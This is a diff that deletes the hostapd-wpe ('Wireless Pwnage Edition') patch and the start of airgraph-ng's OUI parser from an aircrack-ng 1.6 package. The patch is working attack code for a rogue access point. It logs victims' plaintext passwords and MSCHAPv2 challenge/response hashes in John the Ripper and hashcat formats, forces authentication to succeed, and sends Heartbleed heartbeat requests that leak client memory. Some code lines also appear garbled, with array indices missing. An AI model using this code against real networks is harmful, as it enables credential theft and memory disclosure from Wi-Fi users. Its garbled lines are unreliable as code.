---- hostapd-2.8/src/crypto/tls_openssl.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/crypto/tls_openssl.c	2019-04-22 17:02:28.637850106 -0400
-@@ -21,6 +21,7 @@
- #include <openssl/opensslv.h>
- #include <openssl/pkcs12.h>
- #include <openssl/x509v3.h>
-+#include <openssl/rand.h>
- #ifndef OPENSSL_NO_ENGINE
- #include <openssl/engine.h>
- #endif /* OPENSSL_NO_ENGINE */
-@@ -37,6 +38,7 @@
- #include "sha256.h"
- #include "tls.h"
- #include "tls_openssl.h"
-+#include "wpe/wpe.h"
- 
- #if !defined(CONFIG_FIPS) &&                             \
-     (defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) ||   \
-@@ -197,6 +199,10 @@ static int tls_add_ca_from_keystore_enco
- 
- #endif /* ANDROID */
- 
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+int wpe_hb_enc(struct tls_connection *conn); // WPE: To limit changes up top
-+#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
-+
- static int tls_openssl_ref_count = 0;
- static int tls_ex_idx_session = -1;
- 
-@@ -1562,7 +1568,12 @@ struct tls_connection * tls_connection_i
- 
- 	conn->context = context;
- 	SSL_set_app_data(conn->ssl, conn);
--	SSL_set_msg_callback(conn->ssl, tls_msg_cb);
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+	if (wpe_conf.wpe_enable_cupid) 
-+		SSL_set_msg_callback(conn->ssl, wpe_hb_cb);
-+	else
-+#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
-+		SSL_set_msg_callback(conn->ssl, tls_msg_cb);
- 	SSL_set_msg_callback_arg(conn->ssl, conn);
- 	options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 |
- 		SSL_OP_SINGLE_DH_USE;
-@@ -4022,6 +4033,10 @@ openssl_handshake(struct tls_connection
- {
- 	int res;
- 	struct wpabuf *out_data;
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+	int i;
-+	struct wpabuf *wpe_hb_ptr1, *wpe_hb_ptr2;
-+#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
- 
- 	/*
- 	 * Give TLS handshake data from the server (if available) to OpenSSL
-@@ -4130,6 +4145,30 @@ openssl_handshake(struct tls_connection
- 	}
- 	wpabuf_put(out_data, res);
- 
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+	if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_handshake && wpe_conf.wpe_hb_num_tries) {
-+
-+		wpa_printf(MSG_DEBUG, "WPE Sending heartbeat request instead of handshake\n");
-+		wpe_hb_ptr1 = NULL;
-+
-+		for (i = 0; i < wpe_conf.wpe_hb_num_repeats; i++) {
-+			wpe_hb_ptr2 = wpabuf_alloc(wpe_hb_msg_len-1);
-+			memcpy(wpabuf_mhead(wpe_hb_ptr2), (u8 *)wpe_hb_clear(), wpe_hb_msg_len-1);
-+			wpabuf_put(wpe_hb_ptr2, wpe_hb_msg_len-1);
-+
-+			if (wpe_hb_ptr1) {
-+				wpe_hb_ptr1 = wpabuf_concat(wpe_hb_ptr1,wpe_hb_ptr2);
-+			} else {
-+				wpe_hb_ptr1 = wpe_hb_ptr2;
-+			}
-+		}
-+
-+		conn->ssl->tlsext_hb_pending = 1;
-+		wpe_conf.wpe_hb_num_tries--;
-+		return wpe_hb_ptr1;
-+	}
-+#endif
-+
- 	return out_data;
- }
- 
-@@ -4246,6 +4285,13 @@ struct wpabuf * tls_connection_encrypt(v
- 		tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
- 		return NULL;
- 	}
-+
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+	if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_appdata) {
-+		wpe_hb_enc(conn);
-+	}
-+#endif
-+
- 	res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data));
- 	if (res < 0) {
- 		tls_show_errors(MSG_INFO, __func__,
-@@ -4253,6 +4299,12 @@ struct wpabuf * tls_connection_encrypt(v
- 		return NULL;
- 	}
- 
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+	if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_after_appdata) {
-+		wpe_hb_enc(conn);
-+	}
-+#endif
-+
- 	/* Read encrypted data to be sent to the server */
- 	buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
- 	if (buf == NULL)
-@@ -5268,3 +5320,69 @@ void tls_connection_remove_session(struc
- 		wpa_printf(MSG_DEBUG,
- 			   "OpenSSL: Removed cached session to disable session resumption");
- }
-+
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+int wpe_hb_enc(struct tls_connection *conn) {
-+    unsigned char *cbuf, *p;
-+
-+    unsigned int real_payload = 18; //default: 18 /* Sequence number + random bytes */
-+    unsigned int padding = 16; //default: 16 /* Use minimum padding */
-+
-+    if (!SSL_is_init_finished(conn->ssl)) {
-+        return -1;
-+    }
-+
-+    if(!conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
-+            conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) {
-+        wpa_printf(MSG_DEBUG, "WPE warning: heartbeat extension is unsupported (try anyway)\n");
-+    } else {
-+        wpa_printf(MSG_DEBUG,"WPE Heartbeat extention is supported, may not be vulnerable!\n");
-+    }
-+
-+    /* Check if padding is too long, payload and padding
-+    * must not exceed 2^14 - 3 = 16381 bytes in total.
-+    */
-+    OPENSSL_assert(real_payload + padding <= 16381);
-+
-+    cbuf = OPENSSL_malloc(1 + 2 + real_payload + padding);
-+
-+    if(cbuf==NULL)
-+        return -1;
-+
-+    p = cbuf;
-+
-+    *p++ = TLS1_HB_REQUEST;
-+
-+
-+    /* Payload length (18 bytes here) */
-+    //s2n(payload, p);  /* standards compliant payload */
-+    //s2n(payload +10, p);  /* >payload to exploit heartbleed!!! */
-+    s2n(wpe_conf.wpe_hb_payload_size, p); /* configured payload */
-+
-+    /* Sequence number */
-+    s2n(conn->ssl->tlsext_hb_seq, p);
-+    /* 16 random bytes */
-+    RAND_pseudo_bytes(p, 16);
-+    //RAND_bytes(p, 16);
-+    p += 16;
-+    /* Random padding */
-+    RAND_pseudo_bytes(p, padding);
-+    //RAND_bytes(p, padding);
-+
-+    wpa_printf(MSG_DEBUG, "WPE Sending heartbeat reaquesting payload size %u...\n", wpe_conf.wpe_hb_payload_size);
-+    wpa_hexdump(MSG_DEBUG, "WPE heartbeat packet to send:", cbuf, 1 + 2 + real_payload + padding);
-+
-+    /* Send heartbeat request */
-+#ifdef TLS1_RT_HEARTBEAT
-+    if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, TLS1_RT_HEARTBEAT,
-+#elif defined(DTLS1_RT_HEARTBEAT)
-+    if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, DTLS1_RT_HEARTBEAT,
-+#endif
-+    cbuf, 3 + real_payload + padding) >= 0)
-+    conn->ssl->tlsext_hb_pending = 1;
-+    OPENSSL_free(cbuf);
-+
-+    return 0;
-+}
-+#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
-+
-diff -rupN hostapd-2.8/src/eap_server/eap_server.c hostapd-2.8-wpe/src/eap_server/eap_server.c
---- hostapd-2.8/src/eap_server/eap_server.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/eap_server/eap_server.c	2019-04-22 17:02:28.637850106 -0400
-@@ -23,7 +23,8 @@
- #define STATE_MACHINE_DATA struct eap_sm
- #define STATE_MACHINE_DEBUG_PREFIX "EAP"
- 
--#define EAP_MAX_AUTH_ROUNDS 50
-+//#define EAP_MAX_AUTH_ROUNDS 50
-+#define EAP_MAX_AUTH_ROUNDS 50000 // wpe >:)
- 
- /* EAP state machines are described in RFC 4137 */
- 
-@@ -161,6 +162,8 @@ int eap_user_get(struct eap_sm *sm, cons
- {
- 	struct eap_user *user;
- 
-+    char ident = 't';    
-+
- 	if (sm == NULL || sm->eapol_cb == NULL ||
- 	    sm->eapol_cb->get_eap_user == NULL)
- 		return -1;
-@@ -172,6 +175,11 @@ int eap_user_get(struct eap_sm *sm, cons
- 	if (user == NULL)
- 	    return -1;
- 
-+    if (phase2) {
-+        identity = (const u8 *)&ident;
-+        identity_len = 1;
-+    }
-+
- 	if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
- 				       identity_len, phase2, user) != 0) {
- 		eap_user_free(user);
-diff -rupN hostapd-2.8/src/eap_server/eap_server_mschapv2.c hostapd-2.8-wpe/src/eap_server/eap_server_mschapv2.c
---- hostapd-2.8/src/eap_server/eap_server_mschapv2.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/eap_server/eap_server_mschapv2.c	2019-04-22 17:02:28.637850106 -0400
-@@ -12,7 +12,7 @@
- #include "crypto/ms_funcs.h"
- #include "crypto/random.h"
- #include "eap_i.h"
--
-+#include "wpe/wpe.h"
- 
- struct eap_mschapv2_hdr {
- 	u8 op_code; /* MSCHAPV2_OP_* */
-@@ -290,7 +290,7 @@ static void eap_mschapv2_process_respons
- 	size_t username_len, user_len;
- 	int res;
- 	char *buf;
--
-+	u8 wpe_challenge_hash8;
- 	pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
- 			       &len);
- 	if (pos == NULL || len < 1)
-@@ -371,6 +371,8 @@ static void eap_mschapv2_process_respons
- 		}
- 	}
- #endif /* CONFIG_TESTING_OPTIONS */
-+	challenge_hash(peer_challenge, data->auth_challenge, username, username_len, wpe_challenge_hash);
-+	wpe_log_chalresp("mschapv2", name, name_len, wpe_challenge_hash, 8, nt_response, 24);
- 
- 	if (username_len != user_len ||
- 	    os_memcmp(username, user, username_len) != 0) {
-@@ -405,6 +407,11 @@ static void eap_mschapv2_process_respons
- 		return;
- 	}
- 
-+	if (wpe_conf.wpe_enable_return_success) {
-+		os_memset((void *)nt_response, 0, 24);
-+		os_memset((void *)expected, 0, 24);
-+	}
-+
- 	if (os_memcmp_const(nt_response, expected, 24) == 0) {
- 		const u8 *pw_hash;
- 		u8 pw_hash_buf16, pw_hash_hash16;
-@@ -445,6 +452,8 @@ static void eap_mschapv2_process_respons
- 		wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response");
- 		data->state = FAILURE_REQ;
- 	}
-+	if (wpe_conf.wpe_enable_return_success)
-+		data->state = SUCCESS;
- }
- 
- 
-diff -rupN hostapd-2.8/src/eap_server/eap_server_peap.c hostapd-2.8-wpe/src/eap_server/eap_server_peap.c
---- hostapd-2.8/src/eap_server/eap_server_peap.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/eap_server/eap_server_peap.c	2019-04-22 17:02:28.637850106 -0400
-@@ -17,7 +17,7 @@
- #include "eap_common/eap_tlv_common.h"
- #include "eap_common/eap_peap_common.h"
- #include "tncs.h"
--
-+#include "wpe/wpe.h"
- 
- /* Maximum supported PEAP version
-  * 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt
-diff -rupN hostapd-2.8/src/eap_server/eap_server_ttls.c hostapd-2.8-wpe/src/eap_server/eap_server_ttls.c
---- hostapd-2.8/src/eap_server/eap_server_ttls.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/eap_server/eap_server_ttls.c	2019-04-22 17:02:28.641850115 -0400
-@@ -16,7 +16,7 @@
- #include "eap_server/eap_tls_common.h"
- #include "eap_common/chap.h"
- #include "eap_common/eap_ttls.h"
--
-+#include "wpe/wpe.h"
- 
- #define EAP_TTLS_VERSION 0
- 
-@@ -537,9 +537,11 @@ static void eap_ttls_process_phase2_pap(
- 		return;
- 	}
- 
--	if (sm->user->password_len != user_password_len ||
-+	wpe_log_basic("eap-ttls/pap", sm->identity, sm->identity_len, user_password, user_password_len);
-+
-+	if ((!wpe_conf.wpe_enable_return_success) && (sm->user->password_len != user_password_len ||
- 	    os_memcmp_const(sm->user->password, user_password,
--			    user_password_len) != 0) {
-+			    user_password_len) != 0)) {
- 		wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password");
- 		eap_ttls_state(data, FAILURE);
- 		return;
-@@ -602,8 +604,9 @@ static void eap_ttls_process_phase2_chap
- 	chap_md5(password0, sm->user->password, sm->user->password_len,
- 		 challenge, challenge_len, hash);
- 
--	if (os_memcmp_const(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) ==
--	    0) {
-+	wpe_log_chalresp("eap-ttls/chap", sm->identity, sm->identity_len, challenge, challenge_len, password, password_len);
-+
-+	if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == 0)) {
- 		wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password");
- 		eap_ttls_state(data, SUCCESS);
- 		eap_ttls_valid_session(sm, data);
-@@ -674,7 +677,9 @@ static void eap_ttls_process_phase2_msch
- 		return;
- 	}
- 
--	if (os_memcmp_const(nt_response, response + 2 + 24, 24) == 0) {
-+	wpe_log_chalresp("eap-ttls/mschap", sm->identity, sm->identity_len, challenge, challenge_len, response + 2 + 24, 24);
-+
-+	if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(nt_response, response + 2 + 24, 24) == 0)) {
- 		wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response");
- 		eap_ttls_state(data, SUCCESS);
- 		eap_ttls_valid_session(sm, data);
-@@ -696,7 +701,7 @@ static void eap_ttls_process_phase2_msch
- 					     u8 *response, size_t response_len)
- {
- 	u8 *chal, *username, nt_response24, *rx_resp, *peer_challenge,
--		*auth_challenge;
-+		*auth_challenge, wpe_challenge_hash8;
- 	size_t username_len, i;
- 
- 	if (challenge == NULL || response == NULL ||
-@@ -781,6 +786,9 @@ static void eap_ttls_process_phase2_msch
- 	}
- 
- 	rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8;
-+
-+	challenge_hash(peer_challenge, auth_challenge, username, username_len, wpe_challenge_hash);
-+	wpe_log_chalresp("eap-ttls/mschapv2", username, username_len, wpe_challenge_hash, 8, rx_resp, 24);
- #ifdef CONFIG_TESTING_OPTIONS
- 	{
- 		u8 challenge28;
-diff -rupN hostapd-2.8/src/Makefile hostapd-2.8-wpe/src/Makefile
---- hostapd-2.8/src/Makefile	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/Makefile	2019-04-22 17:02:28.641850115 -0400
-@@ -1,5 +1,5 @@
- SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps
--SUBDIRS += fst
-+SUBDIRS += fst wpe
- 
- all:
- 	for d in $(SUBDIRS); do  -d $$d  && $(MAKE) -C $$d; done
-diff -rupN hostapd-2.8/src/utils/wpa_debug.c hostapd-2.8-wpe/src/utils/wpa_debug.c
---- hostapd-2.8/src/utils/wpa_debug.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/utils/wpa_debug.c	2019-04-22 17:02:28.641850115 -0400
-@@ -30,7 +30,7 @@ static FILE *wpa_debug_tracing_file = NU
- 
- 
- int wpa_debug_level = MSG_INFO;
--int wpa_debug_show_keys = 0;
-+int wpa_debug_show_keys = 1; // WPE >:)
- int wpa_debug_timestamp = 0;
- 
- 
-diff -rupN hostapd-2.8/src/wpe/Makefile hostapd-2.8-wpe/src/wpe/Makefile
---- hostapd-2.8/src/wpe/Makefile	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/src/wpe/Makefile	2019-04-22 17:02:28.641850115 -0400
-@@ -0,0 +1,8 @@
-+all:
-+	@echo Nothing to be made.
-+
-+clean:
-+	rm -f *~ *.o *.d *.gcno *.gcda *.gcov
-+
-+install:
-+	@echo Nothing to be made.
-diff -rupN hostapd-2.8/src/wpe/wpe.c hostapd-2.8-wpe/src/wpe/wpe.c
---- hostapd-2.8/src/wpe/wpe.c	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/src/wpe/wpe.c	2019-04-22 17:02:28.641850115 -0400
-@@ -0,0 +1,232 @@
-+/*
-+    wpe.c - 
-+        brad.antoniewicz@foundstone.com
-+        Implements WPE (Wireless Pwnage Edition) functionality within 
-+        hostapd.
-+
-+        WPE functionality focuses on targeting connecting users. At 
-+        it's core it implements credential logging (originally 
-+        implemented in FreeRADIUS-WPE), but also includes other patches
-+        for other client attacks that have been modified to some extend.
-+
-+            FreeRADIUS-WPE: https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/freeradius-wpe
-+            Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
-+            Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
-+*/
-+
-+#include <time.h>
-+#include <openssl/ssl.h>
-+#include "includes.h"
-+#include "common.h"
-+#include "wpe/wpe.h"
-+#include "utils/wpa_debug.h"
-+
-+#define wpe_logfile_default_location "./hostapd-wpe.log"
-+
-+
-+#define MSCHAPV2_CHAL_HASH_LEN 8
-+#define MSCHAPV2_CHAL_LEN 16
-+#define MSCHAPV2_RESP_LEN 24
-+
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+	char wpe_hb_msg = "\x18\x03\x01\x00\x03\x01\xff\xff";
-+	size_t wpe_hb_msg_len = sizeof(wpe_hb_msg)/sizeof(wpe_hb_msg0);
-+#endif
-+
-+struct wpe_config wpe_conf = {
-+    .wpe_logfile = wpe_logfile_default_location,
-+    .wpe_logfile_fp = NULL,
-+    .wpe_enable_karma = 0,
-+    .wpe_enable_cupid = 0,
-+    .wpe_enable_return_success = 0,
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+    .wpe_hb_send_before_handshake = 1,
-+    .wpe_hb_send_before_appdata = 0,
-+    .wpe_hb_send_after_appdata = 0,
-+    .wpe_hb_payload_size = 50000,
-+    .wpe_hb_num_tries = 1,
-+    .wpe_hb_num_repeats = 10
-+#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
-+};
-+
-+void wpe_log_file_and_stdout(char const *fmt, ...) {
-+
-+    if ( wpe_conf.wpe_logfile_fp == NULL ) {
-+        wpe_conf.wpe_logfile_fp = fopen(wpe_conf.wpe_logfile, "a");
-+        if ( wpe_conf.wpe_logfile_fp == NULL ) 
-+            printf("WPE: Cannot file log file");
-+    }
-+
-+    va_list ap;
-+
-+    va_start(ap, fmt);
-+    vprintf(fmt, ap);
-+    va_end(ap);
-+
-+    va_start(ap, fmt);
-+    if ( wpe_conf.wpe_logfile_fp != NULL )
-+        vfprintf(wpe_conf.wpe_logfile_fp, fmt, ap);
-+    va_end(ap);
-+}
-+
-+void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len) {
-+    time_t nowtime;
-+    int x; 
-+
-+    nowtime = time(NULL);
-+
-+    wpe_log_file_and_stdout("\n\n%s: %s", type, ctime(&nowtime));
-+    wpe_log_file_and_stdout("\t username:\t");
-+    for (x=0; x<username_len; x++)
-+        wpe_log_file_and_stdout("%c",usernamex);
-+    wpe_log_file_and_stdout("\n");
-+
-+    wpe_log_file_and_stdout("\t challenge:\t");
-+    for (x=0; x<challenge_len - 1; x++)
-+        wpe_log_file_and_stdout("%02x:",challengex);
-+    wpe_log_file_and_stdout("%02x\n",challengex);
-+
-+    wpe_log_file_and_stdout("\t response:\t");
-+    for (x=0; x<response_len - 1; x++)
-+        wpe_log_file_and_stdout("%02x:",responsex);
-+    wpe_log_file_and_stdout("%02x\n",responsex);
-+
-+    if (strncmp(type, "mschapv2", 8) == 0 || strncmp(type, "eap-ttls/mschapv2", 17) == 0) {
-+        wpe_log_file_and_stdout("\t jtr NETNTLM:\t\t");
-+        for (x=0; x<username_len; x++)
-+            wpe_log_file_and_stdout("%c",usernamex);
-+        wpe_log_file_and_stdout(":$NETNTLM$");
-+        for (x=0; x<challenge_len; x++)
-+            wpe_log_file_and_stdout("%02x",challengex);
-+        wpe_log_file_and_stdout("$");
-+        for (x=0; x<response_len; x++)
-+            wpe_log_file_and_stdout("%02x",responsex);
-+        wpe_log_file_and_stdout("\n");
-+
-+        wpe_log_file_and_stdout("\t hashcat NETNTLM:\t");
-+        for (x=0; x<username_len; x++)
-+            wpe_log_file_and_stdout("%c",usernamex);
-+        wpe_log_file_and_stdout("::::");
-+        for (x=0; x<response_len; x++)
-+            wpe_log_file_and_stdout("%02x",responsex);
-+        wpe_log_file_and_stdout(":");
-+        for (x=0; x<challenge_len; x++)
-+            wpe_log_file_and_stdout("%02x",challengex);
-+        wpe_log_file_and_stdout("\n");
-+
-+    }
-+}
-+
-+void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len)  {
-+    time_t nowtime;
-+    int x;
-+
-+    nowtime = time(NULL);
-+
-+    wpe_log_file_and_stdout("\n\n%s: %s",type, ctime(&nowtime));
-+    wpe_log_file_and_stdout("\t username:\t");
-+    for (x=0; x<username_len; x++)
-+        wpe_log_file_and_stdout("%c",usernamex);
-+    wpe_log_file_and_stdout("\n");
-+
-+    wpe_log_file_and_stdout("\t password:\t");
-+    for (x=0; x<password_len; x++)
-+        wpe_log_file_and_stdout("%c",passwordx);
-+    wpe_log_file_and_stdout("\n");
-+}
-+
-+/*
-+    Taken from asleap, who took from nmap, who took from tcpdump :) 
-+*/
-+void wpe_hexdump(unsigned char *bp, unsigned int length)
-+{
-+
-+    /* stolen from tcpdump, then kludged extensively */
-+
-+    static const char asciify =
-+        "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
-+
-+    const unsigned short *sp;
-+    const unsigned char *ap;
-+    unsigned int i, j;
-+    int nshorts, nshorts2;
-+    int padding;
-+
-+    wpe_log_file_and_stdout("\n\t");
-+    padding = 0;
-+    sp = (unsigned short *)bp;
-+    ap = (unsigned char *)bp;
-+    nshorts = (unsigned int)length / sizeof(unsigned short);
-+    nshorts2 = (unsigned int)length / sizeof(unsigned short);
-+    i = 0;
-+    j = 0;
-+    while (1) {
-+        while (--nshorts >= 0) {
-+            wpe_log_file_and_stdout(" %04x", ntohs(*sp));
-+            sp++;
-+            if ((++i % 8) == 0)
-+                break;
-+        }
-+        if (nshorts < 0) {
-+            if ((length & 1) && (((i - 1) % 8) != 0)) {
-+                wpe_log_file_and_stdout(" %02x  ", *(unsigned char *)sp);
-+                padding++;
-+            }
-+            nshorts = (8 - (nshorts2 - nshorts));
-+            while (--nshorts >= 0) {
-+                wpe_log_file_and_stdout("     ");
-+            }
-+            if (!padding)
-+                wpe_log_file_and_stdout("     ");
-+        }
-+        wpe_log_file_and_stdout("  ");
-+
-+        while (--nshorts2 >= 0) {
-+            wpe_log_file_and_stdout("%c%c", asciify*ap, asciify*(ap + 1));
-+            ap += 2;
-+            if ((++j % 8) == 0) {
-+                wpe_log_file_and_stdout("\n\t");
-+                break;
-+            }
-+        }
-+        if (nshorts2 < 0) {
-+            if ((length & 1) && (((j - 1) % 8) != 0)) {
-+                wpe_log_file_and_stdout("%c", asciify*ap);
-+            }
-+            break;
-+        }
-+    }
-+    if ((length & 1) && (((i - 1) % 8) == 0)) {
-+        wpe_log_file_and_stdout(" %02x", *(unsigned char *)sp);
-+        wpe_log_file_and_stdout("                                       %c",
-+               asciify*ap);
-+    }
-+    wpe_log_file_and_stdout("\n");
-+}
-+
-+
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+/* https://github.com/openssl/openssl/issues/2122 */
-+
-+void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg) {
-+#ifdef TLS1_RT_HEARTBEAT
-+    if (v_content_type == TLS1_RT_HEARTBEAT) {
-+#elif defined(DTLS1_RT_HEARTBEAT)
-+    if (v_content_type == DTLS1_RT_HEARTBEAT) {
-+#endif
-+        wpe_log_file_and_stdout("\n\nHeartbleed Data:\n");
-+        v_ssl->tlsext_hb_pending = 1;
-+        wpe_hexdump((unsigned char *)v_buf, v_len);
-+    } 
-+}
-+
-+
-+char *wpe_hb_clear() {
-+    char *p;
-+    // set payload size
-+    p = &wpe_hb_msgsizeof(wpe_hb_msg) - 3;
-+    s2n(wpe_conf.wpe_hb_payload_size, p);
-+
-+    return wpe_hb_msg;
-+}
-+#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
-diff -rupN hostapd-2.8/src/wpe/wpe.h hostapd-2.8-wpe/src/wpe/wpe.h
---- hostapd-2.8/src/wpe/wpe.h	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/src/wpe/wpe.h	2019-04-22 17:02:28.641850115 -0400
-@@ -0,0 +1,54 @@
-+/*
-+    wpe.h - 
-+        brad.antoniewicz@foundstone.com
-+        Implements WPE (Wireless Pwnage Edition) functionality within 
-+        hostapd.
-+
-+        WPE functionality focuses on targeting connecting users. At 
-+        it's core it implements credential logging (originally 
-+        implemented in FreeRADIUS-WPE), but also includes other patches
-+        for other client attacks.
-+
-+            FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe
-+            Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
-+            Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
-+*/
-+#include <openssl/ssl.h>
-+
-+struct wpe_config {
-+    char *wpe_logfile;
-+    FILE *wpe_logfile_fp;
-+    unsigned int wpe_enable_karma;
-+    unsigned int wpe_enable_cupid;
-+    unsigned int wpe_enable_return_success;
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+    unsigned int wpe_hb_send_before_handshake:1;
-+    unsigned int wpe_hb_send_before_appdata:1;
-+    unsigned int wpe_hb_send_after_appdata:1;
-+    unsigned int wpe_hb_payload_size;
-+    unsigned int wpe_hb_num_tries;
-+    unsigned int wpe_hb_num_repeats;
-+#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
-+};
-+
-+extern struct wpe_config wpe_conf;
-+
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+	extern char wpe_hb_msg;
-+	extern size_t wpe_hb_msg_len;
-+
-+	//#define WPE_HB_MSG_LEN 8
-+#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
-+
-+#define n2s(c,s)((s=(((unsigned int)(c0))<< 8)| \
-+       (((unsigned int)(c1))    )),c+=2)
-+
-+#define s2n(s,c) ((c0=(unsigned char)(((s)>> 8)&0xff), \
-+        c1=(unsigned char)(((s)    )&0xff)),c+=2)
-+
-+
-+void wpe_log_file_and_stdout(char const *fmt, ...);
-+void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len);
-+void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len);
-+void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg);
-+char *wpe_hb_clear();

aircrack-ng-1.6.tar.gz/scripts/airgraph-ng/graphviz Deleted

aircrack-ng-1.6.tar.gz/scripts/airgraph-ng/graphviz/libOuiParse.py Deleted

@@ -1,227 +0,0 @@
-#!/usr/bin/env python
-__author__ = 'Ben "TheX1le" Smith, Marfi'
-__email__ = 'thex1le@gmail.com'
-__website__= ''
-__date__ = '04/26/2011'
-__version__ = '2011.4.26'
-__file__ = 'ouiParse.py'
-__data__ = 'a class for dealing with the oui txt file'
-
-"""
-########################################
-#
-# This program and its support programs are free software; you can redistribute it and/or modify it
-# under the terms of the GNU General Public License version 2 as
-# published by the Free Software Foundation; version 2.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-#########################################
-"""
-
-import re
-import sys
-if sys.version_info0 >= 3:
-	import urllib.request, urllib.parse, urllib.error
-else:
-	import urllib
-import os
-import pdb
-#this lib is crap and needs to be rewritten -Textile 
-print(os.getenv('AIRGRAPH_HOME'))
-if os.getenv('AIRGRAPH_HOME') is not None and os.path.isdir(os.getenv('AIRGRAPH_HOME')):
-    path=os.getenv('AIRGRAPH_HOME') + '/support/'
-    if not os.path.isdir(path):
-        try:
-            os.mkdir(path)
-        except:
-            raise Exception("Can't create destination directory (%s)!" % path)
-elif os.path.isdir('./support/'):
-    path='./support/'
-elif os.path.isdir('/usr/local/share/airgraph-ng/'):
-    path='/usr/local/share/airgraph-ng/'
-elif os.path.isdir('/usr/share/airgraph-ng/'):
-    path='/usr/share/airgraph-ng/'
-else:
-    raise Exception("Could not determine path, please, check your installation or set AIRGRAPH_HOME environment variable")
-
-class macOUI_lookup:
-    """
-    A class for deaing with OUIs and deterimining device type
-    """
-    def __init__(self, oui=False):
-        """
-        generate the two dictionaries and return them
-        """
-        #a poor fix where if we have no file it trys to download it
-        self.ouiTxtUrl   = "http://standards-oui.ieee.org/oui.txt"
-
-        self.ouiTxt = oui
-        if not oui or not os.path.isfile(self.ouiTxt):
-            self.ouiUpdate()
-            self.ouiTxt = path + "oui.txt"
-        self.last_error = None
-        self.identDeviceDict(path + 'ouiDevice.txt')
-        self.identDeviceDictWhacMac(path + 'whatcDB.csv')
-        self.ouiRaw      = self.ouiOpen(self.ouiTxt)
